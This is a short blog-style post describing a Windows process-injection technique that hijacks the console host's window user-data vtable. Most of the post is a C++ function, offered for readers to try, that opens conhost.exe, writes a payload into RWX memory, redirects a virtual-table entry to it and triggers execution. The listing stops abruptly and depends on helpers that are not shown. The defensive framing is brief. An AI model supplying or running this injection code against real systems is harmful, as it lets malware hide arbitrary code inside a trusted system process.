Process Injection
Posted Oct 11, 2023 10:36 PM
Process Injection Unveiled: Unleashing the Window User Data ExploitIn the realm of process injection, a cunning method unfolds by wielding the User Data within a window object.
Harnessing the User Data Reservoir:
The User Data, a modest memory allocation, typically harbors a pointer to a class object. This reservoir of memory finds its utility through the SetWindowLongPtr API and its trusty companion, the GWLP_USERDATA parameter. However, a twist emerges when delving into the Console Window Host (conhost) process. Here, the User Data of a window serves as the vault, safeguarding the address of a data structure replete with vital insights—details on the window's spatial coordinates, dimensions, object handle, and a class object replete with methods steering the console window's behavior.
Crafty Manipulation Unveiled:
Crafty manipulation of this window's User Data opens a gateway—a path where the execution of arbitrary code materializes within the contextual boundaries of the associated process. The alchemy of process injection is laid bare, poised to rewrite the rules of engagement.
As defenders of digital realms, it is paramount to grasp the intricacies of this window-based intrusion vector and fortify our defenses against the surreptitious maneuvers that seek to exploit it. Understanding this exploit empowers us to protect against this cunning intrusion technique.
C++ Example from the internet you can try:
Code
VOID conhostInject(LPVOID payload, DWORD payloadSize) {
HWND hwnd;
LONG_PTR udptr;
DWORD pid, ppid;
SIZE_T wr;
HANDLE hp;
ConsoleWindow cw;
LPVOID cs, ds;
ULONG_PTR vTable;
// 1. Obtain handle and process id for a console window
// (this assumes one already running)
hwnd = FindWindow(L"ConsoleWindowClass", NULL);
GetWindowThreadProcessId(hwnd, &ppid);
// 2. Obtain the process id for the host process
pid = conhostId(ppid);
// 3. Open the conhost.exe process
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 4. Allocate RWX memory and copy the payload there
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 5. Read the address of current virtual table
udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
ReadProcessMemory(hp, (LPVOID)udptr,
(LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
// 6. Read the current virtual table into local memory
ReadProcessMemory(hp, (LPVOID)vTable,
(LPVOID)&cw, sizeof(ConsoleWindow), &wr);
// 7. Allocate RW memory for the new virtual table
ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 8. update the local copy of virtual table with
// address of payload and write to remote process
cw.GetWindowHandle = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
// 9. Update pointer to virtual table in remote process
WriteProcessMemory(hp, (LPVOID)udptr, &ds,
sizeof(ULONG_PTR), &wr);
// 10. Trigger execution of the payload
SendMessage(hwnd, WM_SETFOCUS, 0, 0);
// 11. Restore pointer to original virtual table
WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
sizeof(ULONG_PTR), &wr);
// 12. Release memory and close handles
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);


